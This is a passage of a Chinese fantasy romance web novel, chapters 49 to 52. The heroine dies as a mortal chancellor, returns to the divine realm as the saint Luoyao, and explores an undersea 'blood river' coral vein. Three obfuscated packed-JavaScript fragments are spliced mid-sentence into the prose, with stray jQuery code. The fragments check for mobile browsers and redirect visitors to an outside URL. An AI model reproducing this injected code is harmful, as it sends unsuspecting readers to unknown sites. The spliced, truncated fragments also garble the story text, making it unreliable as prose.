房门一关,周遭变得十分平静,像一滩死水。 “听见了。” 流玉回答了,但也只是回答,她看了一眼天色,问:“你怎么还在这儿?城防营未时点卯,再不走就迟了。” 她脸色如常,好像刚才得知的消息只是一件再普通不过的小事,类似“矿运司交了官员考校名单来”、“下属前来述职”,而不是一个令举城悲痛的噩耗。 然而,她越是这样的反应,越让炎庚心下不安定。 炎庚放心不下流玉,但城防营那边不是随随便便就能耽误的,而且她也不会同意,几番权衡,只有道:“你冷静些,我忙完就来找你。” 炎庚离开后,流玉复又拿起笔,半晌,终于将手头堆积的事务处理完毕。 写最后一个字时,脑中有个问题倏地蹦出来:刚才那个侍卫说了什么来着? 沈流玉迟钝地回想着,忽然感觉喉咙里涌上来一股腥甜。 她开始心慌,忙给自己灌了一杯茶水,喝完还是没有压下去,蘸满墨的毛笔摔在桌上,留下一道歪歪扭扭的乌痕。 她忍着脚软,踱到茶壶边,险些被自己绊倒。 倒出来的茶水刚刚烧开不久,她也不在意,起初扶着桌子,后来坐在了地毯上,半跪半倚地靠在桌边,捧着茶盏混混沌沌小口啜饮,直到那阵血腥气又被囫囵困枣地咽回肚里。 谁死了? 滚烫的温度沿着杯壁传至手指,沈流玉神游天外,如同没有知觉。 澄净的茶水映出半张脸庞,她看见了自己的眼睛,被热气熏染出一整圈的红。 发间,鹿角制成的昙花簪子华彩涌动,像不灭的粼光,正安静地注视着她。 血腥味卷土重来,沈流玉撑着桌案的手滑下去,“哇”地吐了个昏天黑地。 窗外,雪白的梨花挂在枝头,如满院缟素。 …… 三年后,辛夷城的养济院基本兴建完成,在左侍郎沈流玉的主持督建下,仍有扩大规模之势。 五年后,沈流玉升任税政司尚书。 十年,辛夷城路不拾遗,老病有所依,鳏寡有所养。 十五年,沈流玉官拜丞相,位极人臣。 日升月落,辛夷城在变,城中人的境况也在改变。杨柳嫁给了一个家世清白的书生,在外经营着自己的琴楼、书铺,得闲时便来府上找她。 城主明珲成家娶妻,随着明家后嗣的绵延,辛夷城也迎来了新一辈的“长公子”、“二公子”。 沈流玉看着身边人来了又去、去了又来,有的随岁月同往,不断赶赴新的人间;有的则慢下脚步,永远留在了昨天。 唯一站在原地分毫未变的,好像就只有那一个人。 多年过去,炎庚的身形依旧挺拔,性情依旧如初,就连容貌也不见半分衰老,一如她第一次见到他的那天。 如果不是官职变动,流玉甚至在他身上感受不到时间的流逝。 “别人都老了,你怎么一点儿都没变?”她问。 炎庚挑眉:“你不也没变?” 流玉笑了一声。怎么会不变,昨日上朝前束冠,她还在自己发间发现了一缕银丝。 繁忙的日子过久了,有时候,流玉也会觉得疲惫,好在心境充实,所以值得。 但是现在,她想要歇一歇了。 昨夜下了一场雨,今晨阳光普照大地,空气中分外清新。 “大人,今日是二爷的忌辰,何时前去拜祭?” 新来的侍女天真活泼,叽叽喳喳如鸟儿一般,按照往年的惯例替她备好了素衣。 若在以往,流玉通常会带着酒和点心,独自去温泉山上的墓园里坐上半日,临走前放一盏长明灯。 这次,她换上素衣,却摇了摇头,“你退下吧,我想歇一会儿。” 又是一年春日,院子里的梨树开了花,树下悬挂着一架木制的秋千。 流玉坐了上去,轻轻晃了几下,白如霜雪的花瓣扑簌簌落下来,满身花香。 和风日暖,熏得人懒洋洋的,她头脑放空,忽然想起方才侍女说话时的称呼。 现在被称为“二公子”的孩子尚在总角之年。斯人已逝,明璟死时不过弱冠,如今也要被称作“二爷”了。 流玉有点累了,不再摇动秋千,一身素衣向后仰靠,几乎与梨花融为了一体。 上界,浮生镜中闪动着女子安详的面庞。 沧丞仔细观察,还以为自己看错了,“寿元将尽……她无病无灾,怎会如此突然?” 虽说珞瑶回来当然越快越好,但这次下凡该做的正事还没影呢。 沧丞有些不淡定了,“凡劫马上就要结束,可珞瑶至今仍未落泪……” 透过浮生镜,神明只能看到这场劫数的大致走向,具体的境况则无处窥知,他们不知珞瑶与羲洵、杨柳乃至炎庚等人是如何相处的,更看不出她心中所想。 难道凡间一世,竟无一人能破开圣女的情窍吗? 朝梧目光锁在镜中女子身上,若有所思,按住沧丞道:“再等等。” 另一边,丞相府邸外进来几人,被侍从恭恭敬敬引入前院。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384845|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“长公子来了,说昨日的课业有不解之处,想请相母解惑呢。” “大人累了,才歇下不久,先请长公子在正厅等候吧……” 院外,侍女的商量声隐约传来。流玉想出去,可她现在实在是太困倦了,已没有心力再向小辈传授课业。 来日方长,离了自己,他还会遇见更好的夫子。 沈流玉凭着一腔执念走到现在,心下了无遗憾,更没什么挂念的人和事。她历经沉浮,从一介逃奴到如今的位置,见过酸甜温暖,也尝过至悲至痛,而今阅尽千帆,该报的仇报了,想做的事也都做了。 盛世的模样,她也亲眼见过了。 流玉的眼皮越来越重,头靠在秋千藤上,鬓发间,那支鹿角簪子温润生光,一如往昔。 眼前一片云气缭绕,不知天上人间,仿佛有什么玄妙的业力指引着她,告诉她:辛夷城功业已成,你该离开了。 她开始做梦,脑中混沌迷蒙,浮现出许多人的身影,明璟、明珲、炎庚、杨柳…… 烛火盈盈,温暖得令人安心,杨柳眉眼弯弯,笑得纯粹,“流玉将来是要当大宰相的呀。” 镜湖边,水光粼荡,炎庚的神色认真,“无论将来发生了什么,你都可以相信我,在辛夷城,我是最不可能伤害你的人。” “替我做一件事,我保你不会被贬为奴。” 男人身在高位,面容冷漠,画面一转,夏夜里的水汽柔和了眉峰和眼尾,他坐在廊下,身体被厚实的绒氅覆盖住,只露出一截嶙峋的手腕。 “你走吧,以后,你就不是我的细作了。”他说。 语气故作平淡,眸光清寂,像一池无望的死水。 接着,流玉看见了自己。 这里月亮大如圆盘,清气充涌,仿佛一座置身于世外的毓秀灵山,而阔别已久的那人,如今就站在她对面。 空气中浮动着灵昙花香,前面两人还说了什么,她没能记住,只听见最后“自己”说道:“陪我下凡吧。” 灵山轰然消散,取而代之的是战场炼狱。空中破了个大洞,数不清的怪物从缺口涌进来,满天黑气弥漫。 最后,她坠落山崖自毁献祭,平息了这场惨烈的大战。朔漠变作荒坟,看不见人烟,“明璟”跌跌撞撞赶来,却来迟了一步,十指在山石上抓得血肉模糊。 昙华失去光彩,在荒芜中零落,不知过了多久,又如久旱逢甘霖般为人所救,再见天光。 沈流玉脑中飞快地闪动着过去的种种记忆,里面还夹杂着一些她看不懂的画面,如梦似幻,令她分不清是虚拟还是现实。 她没心思去想,也没时间再去想了。 云雾弥漫,流玉沉沉睡了过去,经年累月积攒的爱恨、悲喜凝聚在眼角,化作一行清泪。 泪水滑落的一刹那,澜渊圣境,镇幽珠如有感应,闪动出前所未有的耀光。 圣女神识回笼,于琪花玉树间苏醒。 …… 四十年弹指而过,珞瑶重新回到上界,在卧榻上睁开眼时,竟觉得恍若隔世。 她坐起身,发觉脸上湿湿的,抬手一触。 是眼泪。 望着指尖那点水痕,珞瑶心神摇动,倏然失了神。 50. 血海沉舟(一) 浮生镜中,有关辛夷城的画面消失了,昭示着一世故事的落幕。 朝梧彻底松了口气,道:“以羲洵和珞瑶的修为,下界历劫形成何种性格,是由他们自己的意识决定的,珞瑶的不出所料,反倒是羲洵,实在令人意外。” 沧丞倚在玉雕栏边,也面露感慨,“我原本觉得明璟性情孤僻,不像能和流玉志同道合的人,却忘了他是羲洵的投身。他心里的神性到底还是压制了私欲,最后被扳回了正途。” 在神山这个从树顶清净到墙根下的地界,朝梧和沧丞最闲不住,在看热闹方面也算臭味相投,关于珞瑶和羲洵会投身成为怎样的人,他们在最初就做过猜测,以为身份不一定高贵,但性情定与原身大差不差,谁知羲洵不走寻常路,居然变成了一个病弱短命的小公子。 端看明璟前十几年的做派,偏执古怪,后来遇见沈流玉,身上才渐渐有了几分羲洵的影子,可惜病入膏肓,没过几年寿元就耗竭了。 缘之一字,相逢又擦肩。 “不过,‘珞瑶’直到去世前才落泪,不知这滴泪究竟是为何人而流。”朝梧道。 “心头泪”求仁得仁,总算没有辜负珞瑶一世的努力,若无意外,让珞瑶流下这滴泪的功臣,同时也打开了她的情窍。 从此,圣女便走下冷冰冰的圣坛,对世间一切爱恨苦难都拥有了切肤之感。 回看沈流玉的一生,奴籍翻身、为父翻案、封爵拜相、重建辛夷城…… 对凡人来说,她的一世虽然短暂,但已经足够精彩,足够波澜壮阔,多得是人助她动情,羲洵离开得早,怕是没多少胜算了,更别说她身边还有一个炎庚。 不过,这似乎也说不准,珞瑶性情内敛…… 到这里,沧丞好像忽然想通了什么。羲洵下凡一世,为自己选择如此凄惨的身世际遇,又让自己短命而亡,绝不是没有原因的。 这是什么策略,剑走偏锋? 沧丞笑了,“这个羲洵啊……” 他清楚自己下凡的“任务”,于是吊着一口气活了十几年,就为了等珞瑶出现,真到了完成任务的时候,不想用情伤珞瑶,又想要珞瑶的泪为自己而流。 何其隐忍,又何其贪心。 睿智的水神气定神闲,早已默默看透了一切,沧丞站起身,“走吧,我们也该去澜渊了。” …… 圣女历劫结束的消息很快传遍了上界,沉寂几十年的圣女殿,终于在今日迎来了复苏。 众神闻讯而来,一到澜渊圣境地界,就看见碧火台上光芒大盛,照亮了半壁澄空。 “太好了。”朝梧喜道。 自从镇幽珠灵力衰退,众神还是第一次看见它发出如此明亮的光,而这都要归功于珞瑶的一滴泪。 原来,天命卷轴上所写的东西归位时会是这般盛景。 羲泠若有所思,道:“归魂灯也被安置在碧火台上,好像没有和镇幽珠有如此强烈的感应。” 那年他们从冥界取回归魂灯,镇幽珠的反应平平,只是轻微闪了闪,他们本以为是三样东西一起归位时才会起效,现在来看,怕是有什么地方出了问题。 归魂灯之星…… 珞瑶将这五个字默念一遍,抬起眼眸,方才意识到:第一件东西,他们还没有完全找到。 经她一提,众神也发觉出不对,纷纷议论起来,沧丞一拍手,“真是百密一疏了,天命卷轴上要的是‘归魂灯之星’,可没说一盏归魂灯就万事大吉了啊。” 原先淤塞的关窍一下子就被疏通了,珞瑶伸出手,片刻,归魂灯被莹蓝色的光团托举着飘出结界,穿过浮空,落进了她手心。 灰琉璃雕成的灵灯空灵通透,灯芯未燃,安安静静淌着流光。 若说这“星”与灯芯有关,似乎也能说得过去,于是身负火系术法的神明尝试以烈火点燃灯芯,随后又几番波折,但不管他们如何动作,最后还是失败了。 “无妨,我们继续找就是了,也许关键不在灯芯上,这颗‘星’还藏在冥界呢。”朝梧道,“急也急不来,珞瑶,你刚从凡间回来,还是先歇息一下吧。” 众神都经历过大风大浪,也跟着附和,毕竟三样东西的寻找进度已经过半,他们还有很多时间,即使有所疏漏,倒也不致使人灰心。 珞瑶点了点头,目光回到众神之中。 从来时到现在,时间已过去良久,平时那个从不缺席的身影,今日却迟迟没有出现。 她心中一动,不禁开口:“羲洵呢?” 其实珞瑶什么都没说,不过是句再寻常不过的询问,但架不住有人挤眉弄眼,沧丞和朝梧当即交换了一个“我就知道”的眼神,前者回答:“他刚醒来就去闭关了,左右这里有我们,但诛邪鼎那边耽搁不得。” 珞瑶想起来,羲洵在凡间待了几十年,如今归来,首要的事自然是炼化神器。 这次闭关,他要把先前未引的天雷全部补上,再将天雷的力量熔进诛邪鼎,要耗费的时间应该不会短。 珞瑶自问是很平静地在想,可想到这里,心里居然生出了一丝若有似无的低落感,这种情绪让她倍感陌生。 为了寻找归魂灯之星,朝梧、沧丞他们还是准备先前往冥界,珞瑶向冥宫那边传了消息,嬴夫人知分寸,自会协助上界办事。 有纭姬跟随,足以为他们做向导,还有炎庚…… 提起他,珞瑶微微迟疑了一下,他也刚从凡间归来,不知现在何处。 众神离去,珞瑶也从圣坛离开,回内殿时,她停下脚步,忽然察觉到了某种熟悉的气息。 云间起了风,吹得花草飘摇,她回头一望,原来炎庚早就来了,正懒洋洋靠在圣境外的石柱下,红眸被照得生光。 他歪了歪头,还是熟悉的语调,“殿下,别来无恙啊。” …… 上次珞瑶去灵族地界,只是帮精灵群落解决了失踪案,来去匆忙,混乱之间便没来得及问雾河的事,如今心头泪已然归位,沧丞他们又去打听归魂灯了,珞瑶不想轻易搁置对雾河泥的探查,还是决定再去灵界一趟。 若能双管齐下,早一日完成天命卷轴的指引,镇幽珠就早一日恢复。 一月后,珞瑶成功将心头泪炼化,注入了镇幽珠。她前往灵界,炎庚正好要去和灵王商议两界互市的事,顺势与她同去。 两人来到灵犀屿,传音蝶一放,没过多久,花枝招展的桃花灵便出现在了他们面前。 一去经年,镜花还是那吵吵闹闹的模样,等到珞瑶问起正事,他才变得稍微安静老实了一些。 “雾河……” 他仔细思索着,在记忆里翻翻找找,根据珞瑶框定的要求,名字相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390131|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似的、河流的形态或周边环境与“雾河”两字搭边的…… “以我的了解,整个灵界诸岛屿,各处陆地上是没有这条河的,名字或模样相似的,似乎也不存在……” 镜花缓慢地说着,忽而灵机一动,补上了一句,“哦,除非它在海底。” 海底? 小桃花举止轻浮,看上去没个正形,炎庚总以为他在胡言乱语,眼带怀疑,“闻所未闻,海底也会有河流?” “你没听过,不代表这世上没有,少见多怪,孤陋寡闻。”镜花没好气道,他早就看这个人不顺眼了,不对,是鬼。 不知又是从哪来了这样一个阴森森的红眼睛鬼,上次和灵王一同出现,这次又跟着圣女,本以为是个人物,结果如此没见识。 现在看来,恐怕也就脸拿得出手了。 炎庚被莫名其妙怼了一句,差点没反应过来,深邃的眉眼露出了一丝迷惑,镜花仗着有珞瑶撑腰,不仅没收敛,还嚣张地横了他一眼。 镜花下巴抬高,抱臂问:“殿下,他也是你的圣使?话多,还不如上次那个金色眼睛的呢,那个虽然木讷,但胜在还有几分谦逊,调教一番尚且能用。” 花瓣如雨般飘下来,落入潺潺溪流,风吹走了落英,带来了沉默。 “……” 炎庚被这一番连珠炮般的指摘砸懵了,半晌才回过神,第一反应不是发怒,而是开始回忆——上次? 和珞瑶一起来的、金色眼睛…… 炎庚心火直冒,当一个名字陡然冒进脑海的时候,直接被气笑了。 那是圣使? 珞瑶试图劝架:“他……” 炎庚拉住她,那双危险的眸子眯了起来,“你可知你口中的木讷之人是谁?” 镜花不明就里,被盯得心里发虚,嘴硬道:“我、我管他是谁!” 当着他的面,炎庚转向珞瑶,十分有风度地问:“殿下,我能不能告诉他真相?” 事已至此,珞瑶有些无力,点头答应了。 其实早在破开晴水湾幻境的时候,羲洵就没有再遮掩身份,后来灵君和灵王来到精灵群落也唤了他“神君”,不知镜花当时在哪里走神,竟然一点端倪都没能察觉…… 炎庚得到允许,这下是有恃无恐了,他似笑非笑,慢条斯理地开口,对镜花说了一句话。 镜花原本还算淡定,听后如遭雷击,差点从桃树枝上摔下来,“什、什么?” 他起初不相信,以为红眼鬼故意戏弄自己,可圣女就在旁边,一句都没有反驳。 小桃花无忧无虑了一辈子,如今是彻底老实了。想起自己口无遮拦说出的那些话,他又是尴尬又是害怕,满脑子都是“那个木讷的‘圣使’就是羲洵神君”。 羲洵神君是谁?神族,还和圣女有婚约,虽然是很久之前就定下的,不一定作数…… 要是不作数,他干嘛和圣女同进同出呢? 镜花的心渐渐死了,他得罪了神君,就是得罪了神山,那就是灵犀屿得罪了神山,灵犀屿得罪了神山,就是灵族得罪了神山…… 他万念俱灰,“哇”地一声哭了出来,“殿下,你怎么不早点告诉我啊!” 小桃花哭得稀里哗啦,变回精灵形态,一头钻进了珞瑶怀里。炎庚报复成功,也不生气了,好心情地站在一旁,看它落雨。 51. 血海沉舟(二) 虽然镜花出言无忌,但在珞瑶询问的事上一般不会信口开河,因此还是可靠的,他说海底有河流,不如下去一瞧。 离开灵犀屿后,珞瑶找来了鲛灵阿漾,带她和炎庚入海。 阿漾如今在浮翠岛做内官,听说圣女传唤,没过多久便赶到了。 自从晴水湾一事后,阿漾就对珞瑶感激万分,如果没有她,自己也不会有机会进入浮翠岛,成为灵君的手下。 夕晖普照,海面上闪动着粼粼波光,随着不断深入,眼前逐渐转为深邃的蔚蓝色,海水无边无际,如虚空般一眼望不到尽头。 到了海底,那阵空寂感消失了,珍奇的景色占据了视觉,让人移不开眼。光影交错,斑斓的鱼群在水中漫游,海藻珊瑚安静地窝在沙石里,繁漪不尽。 各色水母从他们身边浮沉而过,像小朵小朵的云霞,远方,鲛灵的鱼尾像彩绸般流光溢彩,曳了好长的距离。 阿漾熟悉大海,先后带他们找到了几处海底河流,海水从礁石峭壁上倾泻而下,如河水从山间涌入平原,从急到缓。 事实上,它们并非真正的河流,而是不同浓度的海水在海底相遇,高浓度的盐水流经的“通路”,加之受到山壁、礁石的侵蚀挤压,构成了河道,海底河流便这样形成了。 看过了几处河流后,珞瑶原本抱有的一分希望渐渐消失了,在海里,实在找不到什么有用的线索。 她准备上岸,无意在海岭间向下一瞥,被奇异的风景夺去了注意力。 不远处,大雾弥漫,雾里隐约可见一条鲜红色的通路,一直延伸到海水尽头,像长河,又像一根极宽的绸带,将整个海底分割成了两块。 这条“绸带”的颜色过于纯正,就连周遭的雾气都被染成了红色。 珞瑶久久望着那里,问:“那是什么地方?” 阿漾顺着她的方向看去,眼中浮现出一丝温情,“是血珊瑚形成的星辉石矿脉,我们鲛族的福地。” 星辉石,是一种极其珍贵的修炼材料,可使修为大增,之所以珍贵,就是因为它产量稀少,只有从灵界海底的血珊瑚里才能开采出来。 海底是鲛族的地盘,星辉石矿脉也归她们掌管。据传闻言,历代鲛族首领与陆上灵族达成交易,鲛灵开采星辉石,换取陆上源源不断的天材地宝,维持族中天骄修炼所需。 正是依靠这样的方式,鲛族才能世代昌盛,永远保持对大海的统治。 原来那红色并非河水,也不是绸带,而是紧密排布在一起的血珊瑚群。 远眺长长的矿脉,上空红雾的颜色越看越浓郁,像一池倒进深海里的血水,平静得不祥。 珞瑶问:“外族可否近前?” “这……” 海底少有外族进入,倒是没有过这条规定,但阿漾还是有点为难,毕竟星辉石是灵族的重要命脉。 “殿下,随我来。”犹豫不过一瞬,阿漾便把自己说服了。 圣女突然要入海,一定是有重要的事,况且澜渊圣境的人,去哪儿都不算外族。 走进漫天血雾,眼前逐渐变得清晰,矿脉安静地盘踞在海岭暗礁间,逶迤千里。 珊瑚间夹杂着星星点点的矿石彩光,鳞次栉比地紧挨在一起,真如鲜血般红得扎眼。 “血珊瑚群像流淌的河水,所以这条矿脉又被称为‘血河’。”阿漾道。 如今时间尚早,还没到星辉石开采的时候,许多鲛灵悠闲地游荡着,散落在矿脉两侧。 与阿漾相比,他们的身材更加纤细修长,皮肤白得森然,像瓷器一般。 进入开采区后,珞瑶有所感应,拿出镇幽珠一看,竟发现它少见地闪动了起来。 珞瑶心头一跳,还记得上次感受到归魂灯气息的时候,镇幽珠也是如此闪烁的。 归魂灯之星,星辉石…… 余光里,珊瑚丛中正好有掺杂着的小矿石碎,忽闪着微光。 珞瑶立马从掌心变出归魂灯,又蹲身,从珊瑚里捡起一块星辉石的碎石。 莹蓝色的灵力涌动,她施展法术,试图将二者融为一体,或用星辉石引燃归魂灯的灯芯。 炎庚看着她动作,“这是在做什么?” “加固碧火台禁制,也许会需要它。” 珞瑶头都没抬,这个与神山商量好的说辞,她早已经烂熟于心了。 失败了。 灯芯未燃,镇幽珠也没有进一步的反应,但珞瑶没灰心,短暂停顿后,又有另一个念头在心间升起——不是归魂星,那就是雾河泥。 雾河泥一定在这里。 珞瑶立刻将“血河”与“雾河”联系到了一起,心头明朗,亦是难自抑地欣喜。她无意来到这里,没想到居然找到了遍寻不获的东西。 原来天命卷轴上所写的“河”,不一定是真正流着水的河流。 她驱动灵力,就要触碰血珊瑚下的沙石,上空传来一道高声:“阿瑶,快停下!” 珞瑶脑中蓦地空了一瞬。 她面有怔色,慢半拍地回过头,看见一抹金芒越过飘摇的水母和游鱼,衣袂浮动,正朝她的方向而来。 是羲洵。 “海底矿脉排斥外族,你动下面的泥沙,势必会唤醒它的防御。” 耳边,海水缓缓涌动,珞瑶还没说话,他已经落到了她面前,“即便只能造成很小的伤势,也不要冒险。” 羲洵说着,拉过她手查看,好在自己来得及时,成功拦下了她。 珞瑶有怀念叙旧的心,但此时还有更重要的事,她低声道:“镇幽珠对这里有反应,不是归魂星,那就只有雾河泥。” 羲洵明白这意味着什么,向她点了点头,“让鲛族来。” 阿漾应了一声,忙游上前,按照珞瑶的吩咐从矿脉里取了一捧泥沙。 还是失败。 镇幽珠没有更多的感应,但依然像最初一样微微闪烁。珞瑶的心有些麻木,好像被它戏耍久了,就连失望的劲都消磨干净了。 “没关系,起码我们锁定了位置。”羲洵宽慰她。 两人说着旁人听不懂的话,身体始终保持着守礼的距离,衣袖却亲近地挨在一起。 炎庚在一旁望着,忽然想起在辛夷城时珞瑶说过的话:“我也拿你当知己。” 他是知己,羲洵便不是了。 炎庚说不出心里是什么感觉,愤怒?没那么强烈。忮忌?好像也不是。 凡间经历过一世,他见过了她野草般坚韧的模样,见过了她为公事操劳生出的白发,归来之后,从前那些对情情爱爱“势在必得”的执念,如今竟然觉得有些幼稚。 喜欢就必须要得到?她是圣女,永远不会属于谁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394156|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炎庚开始觉得——如果能以同僚的身份一直陪着她,似乎也不错。 就像在辛夷城那样。 炎庚吐了口浊气,如常道:“我去远处看看。” “我,我也去!”他转身走了,阿漾回过神,也赶忙识趣地游去了鲛灵堆里。 一时间,矿脉旁只剩下两人,变得安静下来。 珞瑶开口:“你不是在闭关吗,怎么这么快?” “这次的天雷力量并不强势,我安置好诛邪鼎,便提前出了。”羲洵回答,声音温和得一如从前。 两人太久没见,一言一语说完便短暂冷了场,好像海水都减缓了流动。 凌空与深海之间,修为高深者可任意穿行,他们顺利来到海底,但在海水的作用下,耳膜、鼻腔都仿佛蒙上了一层雾障,不如在陆地上那样敏锐。 当外界的声音开始迷蒙,心跳就变得掷地有声。 珞瑶抿唇,感到一丝莫名的心焦,她抬眼望他,发现他也正望着自己。 羲洵神君原身为鹿,人形也生了副好相貌。其实他眉目清隽,鼻梁英挺,虽不显得拒人于千里之外,但也绝非什么令人亲和的轮廓,但因为性子温然克制,所以一切锋利的棱角都显得内敛起来,那双眼也像沉静的湖,被曦晖染成了琥珀的颜色,笑时长睫微垂,如清光润玉般动人。 下凡之前,珞瑶没有仔细端详过他的容貌,只知道是好看的,能引起镜花无端的敌视,仙界姿容出挑者甚众,沧丞也戏称他曾是“蓬莱魁首”,直到今日留心观察,她才知“魁首”之名从何而来。 羲洵注意到她的目光,眼底露出清浅的笑意,“我们足有几十年没见面了。” 从明璟过世,到流玉变回珞瑶重归澜渊,这期间横跨了二十年光阴,凡人半生的时间,就这样一晃而过地被翻了过去。 珞瑶垂下眼睫,语气如初,“以往闭关,更长的时候也不是没有。” “的确。”羲洵的笑意好像更深了一点,“可我还是很想念你,所以就立马来了。” 珞瑶呼吸一窒,若在以前,她必定会问“想念又是什么感觉”,但现在不用了。 海水簇拥在周身,心都被打磨得迟钝了几分,珞瑶想起明璟,无论是样貌还是身量,皆与眼前的神祇如出一辙,唯一不同的是明璟性子拧巴,似乎从来不会说这样的话。 珞瑶注视着他,有些失神,羲洵察觉出了她微妙的情绪,心悄悄一沉。 他听见自己问:“阿瑶,你在透过我看意昭吗?” 看他,不就是在看你? 珞瑶在心里这样回答。有时她也会感到奇妙,羲洵,明璟,这样性格大相径庭的两个人——或者说一人一神,身体里竟然住着同一缕魂魄。 她眸中流露出一分悦色,“你们是一个人。” 两人对视片刻,羲洵动了动嘴唇,想说什么,却没有开口,最后妥协地笑了起来。 除了珞瑶自己,没人知道她的情窍为谁而破,若有天得知她是为了他人而动情,他会伤神、失望,但若那个人是明璟,他反而会更不安。 因为明璟是他,他却不完全是明璟。 羲洵也不明白自己为何要钻这无谓的牛角尖,可越是提醒自己,越像是走进了死胡同,让他找不到该去的方向。 进退两难,作茧自缚,不外如是。 52. 血海沉舟(三) 几人继续前行,离开了开采区,来到矿脉更深处。 越往里面走,珞瑶就越感受到一片若隐若无的气息,陌生,但又十分浑浊。 她分辨不出这气息的主人,心却像察觉出了危机一般,无来由地有些焦躁。 沿着血河一直走,海中飘绕的红雾更加浓郁,到了矿脉靠后的地带,一个漩涡的轮廓逐渐变得清晰,最后完整地呈现在他们眼前。 阿漾:“这就是血河之眼了,整个星辉石矿脉的中心。” 这是一个巨型漩涡,看上去起码有十几个碧火台那么大,不断吸纳着附近的海水,在中心搅起汹涌的风暴,其阴影遮盖了天穹,通体散发着狰狞的红光,像一个深不见底的血洞。 奇异的是,这个漩涡发出的刺眼红光,与那漫天霜雾的颜色一模一样。 海中生灵全部退避三尺,可见这是个危险的地方,阿漾的声音却憧憬里带着虔诚,“星辉石是鲛灵一族的根,我们死了的鲛灵就会投进血河之眼,永远与血河同在。” 灵界将上古神昆舆奉为始祖,在鲛族眼里,值得祭拜的除了昆舆,便是眼前的血河之眼,鲛灵们认为是血河之眼孕育星辉石,给予了她们安定和富足。 因此,这里既是她们的“福地”,又是她们的埋骨之所。 炎庚皱了一下眉,问:“要是意外卷进去怎么办?” 其实他说对了,几乎每年都有鲛灵失足卷进血河之眼,但阿漾的神色很自然,仿佛早已对此习以为常。 “血河不会让我们白死的,我们的躯体会滋养血珊瑚下的泥土,重新孕育星辉石,继续为鲛灵一族带来财富和荣耀。” 被卷入漩涡后有去无回,如何能滋养血珊瑚? 几人对此心有怀疑,但当某件事成为了一个族群的信仰,也就不论所谓的“真假”和“对错”。 在靠近血河之眼后,珞瑶感知到那阵浑浊的味道更浓了。 她身旁,羲洵脸上没了最初的温和,目光紧紧锁在那处漩涡上。 这气息…… 他想起什么,无人关注时,眸光重重颤了一下。 羲洵深吸一口气,见珞瑶想向前行,拉住了她手臂,“这处漩涡时间久远,里面栖息着上古巨兽,小心些,不要惊动它。” 阿漾听后震惊了,忙问:“神君是怎么知道的?血河之眼里有凶兽玄艮,这是鲛族的秘辛……” 一言一语间,珞瑶险些被绕晕,她和阿漾的关注点不同,首先捕捉到的是后者话中的关键——玄艮。 这个名字有些耳熟,珞瑶从记忆里搜寻一番,而后想起来,自己曾在澜渊存放的古籍中见过有关记载。 在上古时期,玄艮似乎是灵界海底的守护兽,可阿漾方才却说了,它是一只凶兽。 珞瑶想询问,正欲开口,思绪倏然被尖锐的呼声打断了,“救我!阿娘,救我!” 变故来得太快,数里之外,一只身量娇小的少女鲛灵误闯进风暴里,正声嘶力竭地呼救,被她唤作母亲的青尾鲛灵则疾冲上前,义无反顾地靠近波涛汹涌的漩涡,拉住了少女的手! 即便鲛族有对血河的奉献之心,可畏惧死亡是世间生灵的常情,孩童又年纪尚小,岂能不留恋世间? 母女两个为风暴裹挟,眼看就要被卷入血河之眼,珞瑶才被羲洵叮嘱过,那一刻却什么也忘了,瞬间飞身冲到高处,朝着母女鲛灵而去! “阿瑶!” “珞瑶!” 两个声音同时响起,羲洵急急抓她衣袖,却抓了个空,炎庚则跟着她追了出去,如一团暗色的疾风。 前方,珞瑶在海水中穿行,迅速来到血河之眼边缘,向母女放出轻光绫。 “拉住我!”她喊道。 翻滚的浪潮中,母女鲛灵听见了她的声音,几番努力,终于艰难地抓住了轻光绫的一端。 珞瑶咬进牙关,用力将她们往回拉,可她们离漩涡太近,根本脱不了身。 “啊!” 那股巨大的吸力绞紧了她们,随着少女鲛灵的一声尖叫,她彻底掉进了漩涡里,连同其母和珞瑶一起,炎庚紧紧抓着珞瑶的袖角,也随之被吞噬进去—— 转瞬间,四个身影连同声音皆被抹杀,只剩下了一片刿目怵心的红光。 …… 一阵天旋地转后,雾气缓缓散去,珞瑶落进漩涡,极目四顾,发现这里四壁皆为血珊瑚的红色,无限蔓延到看不见尽头。 眼前空空荡荡,像梦境里的世界,给人一种极大的虚无感,唯一存在的东西就是一块巨大无比的海礁石,黑黢黢的。 母女鲛灵原本已经做好了赴死的准备,却没想到进来后的景象居然是这样的,抱在一起悲泣起来。 炎庚环视一周,“阿漾把这个地方说得神乎其神,会如此简单?” 珞瑶摇头,看见这般场景,她心中的警惕并未放松,还更加重了。 这里似乎没有危险,只是将人困在里面,但它从前吸卷了那么多鲛灵,如今进入内部,居然找不到任何存活者或尸体。 